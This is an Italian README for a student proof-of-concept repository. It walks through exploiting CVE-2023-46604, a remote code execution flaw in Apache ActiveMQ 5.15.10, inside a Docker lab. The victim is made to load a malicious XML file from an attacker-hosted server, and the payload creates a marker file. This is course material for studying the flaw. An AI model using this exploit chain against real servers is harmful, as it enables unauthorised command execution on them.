
Un PoC per CVE-2023-46604 scritto come parte del corso SPS per il master in Advanced Cyber Security presso UPB.
Compito: SSP Assignment 3 Squadra: RCE You Later Membri: Banica Horia Alexandru, Comarlau Vlad-Constantin
Link video dell'utilizzo del repository per fare la PoC: https://www.youtube.com/watch?v=vum4qTF4ygU
Questo repository contiene una Prova di Concetto (PoC) completamente funzionante per CVE-2023-46604. Questa vulnerabilità consente a un attaccante di eseguire comandi shell arbitrari su un server Apache ActiveMQ vulnerabile (versione 5.15.10) forzandolo a deserializzare un file di configurazione XML dannoso.
Obiettivo: Creare un file denominato pwned_by_ssp_team all'interno del server vittima per dimostrare il controllo.
Prima di eseguire l'exploit, assicurati di avere:
vulnerable-env/: Contiene la configurazione Docker per il server vittima.attacker/: Contiene gli script di exploit e i payload dannosi.
exploit.py: Lo script Python che invia il pacchetto dannoso.serve.py: Un semplice server HTTP per ospitare il payload XML.poc.xml: Il file di configurazione dannoso che contiene il comando touch /tmp/pwned_by_ssp_team.Eseguiremo una versione vecchia e vulnerabile di ActiveMQ usando Docker.
vulnerable-env:
cd vulnerable-env
docker-compose up -d
Il server vittima deve scaricare le istruzioni da noi. Imposteremo un piccolo server web per ospitare queste istruzioni.
attacker:
cd attacker
python3 serve.py
Ora inviamo il pacchetto di rete specifico che innesca la vulnerabilità.
Apri un terzo terminale.
Naviga nella cartella attacker:
cd attacker
Esegui lo script di exploit.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal con il gateway del bridge di rete, solitamente: 172.17.0.1. Prova a ottenere l'indirizzo in questo modo se il prescritto non funziona: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'Ha funzionato? Controlliamo se il file è stato creato all'interno del container.
/tmp all'interno della vittima:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team.Per fermare e rimuovere il container vulnerabile:
cd vulnerable-env
docker-compose down